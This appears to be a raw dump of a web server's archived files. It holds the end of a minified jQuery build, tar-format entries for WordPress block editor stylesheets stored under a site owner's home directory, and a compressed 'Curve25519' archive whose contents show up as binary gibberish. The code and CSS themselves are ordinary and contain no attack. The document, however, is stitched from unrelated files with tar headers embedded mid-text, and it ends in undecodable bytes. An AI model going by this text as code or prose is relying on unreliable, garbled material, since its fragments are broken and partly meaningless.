"+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(ce.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(ce.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--ce.active||ce.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return ce.get(e,t,n,"json")},getScript:function(e,t){return ce.get(e,void 0,t,"script")}}),ce.each(["get","post"],function(e,i){ce[i]=function(e,t,n,r){return v(t)&&(r=r||n,n=t,t=void 0),ce.ajax(ce.extend({url:e,type:i,dataType:r,data:t,success:n},ce.isPlainObject(e)&&e))}}),ce.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),ce._evalUrl=function(e,t,n){return ce.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){ce.globalEval(e,t,n)}})},ce.fn.extend({wrapAll:function(e){var t;return this[0]&&(v(e)&&(e=e.call(this[0])),t=ce(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return v(n)?this.each(function(e){ce(this).wrapInner(n.call(this,e))}):this.each(function(){var e=ce(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=v(t);return this.each(function(e){ce(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){ce(this).replaceWith(this.childNodes)}),this}}),ce.expr.pseudos.hidden=function(e){return!ce.expr.pseudos.visible(e)},ce.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},ce.ajaxSettings.xhr=function(){try{return new ie.XMLHttpRequest}catch(e){}};var Yt={0:200,1223:204},Qt=ce.ajaxSettings.xhr();le.cors=!!Qt&&"withCredentials"in Qt,le.ajax=Qt=!!Qt,ce.ajaxTransport(function(i){var o,a;if(le.cors||Qt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(Yt[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&ie.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),ce.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),ce.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return ce.globalEval(e),e}}}),ce.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),ce.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=ce("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),C.head.appendChild(r[0])},abort:function(){i&&i()}}});var Jt,Kt=[],Zt=/(=)\?(?=&|$)|\?\?/;ce.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Kt.pop()||ce.expando+"_"+jt.guid++;return this[e]=!0,e}}),ce.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Zt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Zt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=v(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Zt,"$1"+r):!1!==e.jsonp&&(e.url+=(At.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||ce.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=ie[r],ie[r]=function(){o=arguments},n.always(function(){void 0===i?ce(ie).removeProp(r):ie[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Kt.push(r)),o&&v(i)&&i(o[0]),o=i=void 0}),"script"}),le.createHTMLDocument=((Jt=C.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Jt.childNodes.length),ce.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(le.createHTMLDocument?((r=(t=C.implementation.createHTMLDocument("")).createElement("base")).href=C.location.href,t.head.appendChild(r)):t=C),o=!n&&[],(i=w.exec(e))?[t.createElement(i[1])]:(i=Ae([e],t,o),o&&o.length&&ce(o).remove(),ce.merge([],i.childNodes)));var r,i,o},ce.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=Tt(e.slice(s)),e=e.slice(0,s)),v(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&ce.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?ce("<div>").append(ce.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},ce.expr.pseudos.animated=function(t){return ce.grep(ce.timers,function(e){return t===e.elem}).length},ce.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=ce.css(e,"position"),c=ce(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=ce.css(e,"top"),u=ce.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),v(t)&&(t=t.call(e,n,ce.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},ce.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){ce.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===ce.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===ce.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=ce(e).offset()).top+=ce.css(e,"borderTopWidth",!0),i.left+=ce.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-ce.css(r,"marginTop",!0),left:t.left-i.left-ce.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===ce.css(e,"position"))e=e.offsetParent;return e||J})}}),ce.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;ce.fn[t]=function(e){return M(this,function(e,t,n){var r;if(y(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),ce.each(["top","left"],function(e,n){ce.cssHooks[n]=Ye(le.pixelPosition,function(e,t){if(t)return t=Ge(e,n),_e.test(t)?ce(e).position()[n]+"px":t})}),ce.each({Height:"height",Width:"width"},function(a,s){ce.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){ce.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return M(this,function(e,t,n){var r;return y(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?ce.css(e,t,i):ce.style(e,t,n,i)},s,n?e:void 0,n)}})}),ce.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){ce.fn[t]=function(e){return this.on(t,e)}}),ce.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.on("mouseenter",e).on("mouseleave",t||e)}}),ce.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){ce.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var en=/^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;ce.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),v(e))return r=ae.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(ae.call(arguments)))}).guid=e.guid=e.guid||ce.guid++,i},ce.holdReady=function(e){e?ce.readyWait++:ce.ready(!0)},ce.isArray=Array.isArray,ce.parseJSON=JSON.parse,ce.nodeName=fe,ce.isFunction=v,ce.isWindow=y,ce.camelCase=F,ce.type=x,ce.now=Date.now,ce.isNumeric=function(e){var t=ce.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},ce.trim=function(e){return null==e?"":(e+"").replace(en,"$1")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return ce});var tn=ie.jQuery,nn=ie.$;return ce.noConflict=function(e){return ie.$===ce&&(ie.$=nn),e&&ie.jQuery===ce&&(ie.jQuery=tn),ce},"undefined"==typeof e&&(ie.jQuery=ie.$=ce),ce});
jQuery.noConflict();14338/editor.min.css.tar000064400000063000151024420100010561 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/code/editor.min.css000064400000000044151024241260026320 0ustar00.wp-block-code code{background:none}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/more/editor.min.css000064400000001333151024266250026360 0ustar00.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/file/editor.min.css000064400000001372151024266520026340 0ustar00.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block[data-align=center]>.wp-block-file{text-align:center}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/media-text/editor.min.css000064400000001523151024267130027456 0ustar00.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/site-title/editor.min.css000064400000000102151024300340027457 0ustar00.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/buttons/editor.min.css000064400000001756151024305640027122 0ustar00.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/columns/editor.min.css000064400000000213151024317670027075 0ustar00.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/details/editor.min.css000064400000000055151024320530027033 0ustar00.wp-block-details summary div{display:inline}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/navigation/editor.min.css000064400000026134151024346020027555 0ustar00.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;color:#fff;margin-left:auto;margin-right:0;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:right;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff;height:24px}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:#0000;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:left;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-right:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-left:4px;padding:0 6px 0 0}.wp-block-navigation-placeholder__actions__indicator svg{margin-right:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-right:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{left:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{left:160px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{left:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px!important;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:initial}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 #0000}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 #0000}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-left:24px}.wp-block-navigation__overlay-menu-icon-toggle-group{margin-bottom:16px}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/categories/editor.min.css000064400000000304151024346530027540 0ustar00.wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-left:16px}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/html/editor.min.css000064400000001375151024353700026365 0ustar00.block-library-html__edit .block-library-html__preview-overlay{height:100%;left:0;position:absolute;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;direction:ltr;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}14338/Curve25519.tar.gz000064400000122425151024420100010042 0ustar00��m�]�y�	�g��3]����1s�{�ew׸�?�튙�B���CU �@Yt���<�}�@bI����SDE���{��V����7w��g_���O�?��o�yJGn#���)���q��֏t�~���/_�~�2>��Y�������~z�'��z���z��g?���/�������ⓧ_~��_�xyW��������֎������ͧ������Û���M�yy��˗�������>������]o��w�_�����W�F_��{u������7����'7�xv�y� ~�����z���/��W7�����_��'O�^������ϟ���}���1���>���w�_��W�U�_�|����On~����׏�>�{y�~��}�|�G=�|���z�/w�#}�K�ew/�?~v�_^|y��_ƭy��͗��n^s�>y�2���W7��|�����j�ų�O�~��~�7�E|���o~���7^��/�Ņ?����O�r���Wo~�����ݳO��g/_����/~���w���?��W_����/�~���u|��ظ��?�~��	������/���/'���/�=�Po�ϟx`_>�����#��;;�k���;/�����^]����o�7w�K��—�����g���Rno�w_��J��o>鷏�}y��g������|ٻ��6���m?}�2~�i�������W�7������˟<���_�����O���g���oƅ��|�髻�pς���&~�u�z~�~�܁����~^l�Xhϟܽ��|_|�m���e=�7�g?����^?}ϟ~x�.��y���a����V�}���o��I��xx�G�7����S���X,oN@6徟����Sl��O>�ٟs����X��w#⃵w��|{���a�,���/�'K��&�����w�ԧ�5�I�ϟ��d��������O?�^"п��w�_��O�=�����z7:�	K��a��Ѿ�o��}�߾������VO?��/�%I�����������}���o�H\��WV/���%��g}�Wo�_�=O||����O�����E5����<���(����ҋ��B�w%?��𲒾���4�^��o���g�߾��
�W7�;/������`�r��L��V��<}��u�ͻz����D�o�?����_���߼y_>���];
����35�:���^8K<������Mu�ڛ��&�wR,�Y���on<^�G\&�S��?����ǟ������O_��۞���_���ރ��|��o��?y�&���+� �/����d�~��z���W���<����h~E�+ƃ_1����+޼��{;�k���O�~9�O��>|T����ί�ܑT~���o~��8�<J�f����~���2�����ۜr����~~��������ۿ���ǯ#�k�����??���|�����{���Yz�?)���'���|�ً��>�4��~�=���˧�߽zr�<R��ϟ>�͗_����O_<�o*/���'/>�蟿�}��ɳ/?�{��+B���ǯ?z���G���ޖ��-#������O���뗏�����n��籇	ުN��q/�&ΥgBn��~���׋����i����~��;w=��֟?���^ۏw���h��?�������'?��{�Tʽ�OG��#���7oW��{��^���I�w�>��?��b���;m�7��ǻ&�U~w��Wz�+�:�@~�����O޾��H����^�����?��7O_�寵���'O_=y}|��鯽�?�������ǯ�|�r�/{O�-��/����뻏�~���?���?�ɯ�����9�%�2�=�Om���G�s
��o�O��߾�����Tnv�J%��3�F��~���ݟv���gw������^�=��Lnq$�ww?�y�~����˯�x�"N��ơ�޽�o����3��e�n���_=}�ٳ��_���_�_����G����ao�D{8�.�~��[W��?�m�QWyts{��z*��M^�G��ݔ��\��}�R�_k:�#~m�Z{ֿ�<��kOc�6�:zj�h¼��xˈ	��B����:R|p�k����ȣ��SS_3��_��Ư�TK�5~�ZJ+/��վʘ��9�<f|j�s�������cƳ�-�1kOz�\z|N����.~x����\[�:]~�e��㳿�?O�G|�<��
�k�R�?;"��c֒�3���z��o-�c�Ic%h|M�/k���"�T�w�1"��x��23�a�V�Q,�c
�;��#s����]��=�
Wy̕�.��k���r�4��~x,�/�-w�P&5�o��b=�lb��Y�lF˅E{[��M���*��0X�<�#�{�+�M|�x�܇[VLk�������eŧ�MXCϢ�ٴ���S�9�N�0s��a���{�L��>W����x�򓎧T}�x�%s����ް�L#i���F۫cĎ���~��V�x���؊�jG߶X�Gn���~�#��B�kH��YE�����
m�t��h?XIAg�xE��ܲ`�d�eqg�Ri�6SW<*��C�8��5ŃI���v/�4r�F��knF���<z������:og�WW��cE����]��"�>�$^2�6.b�����7NO%�Q˽����
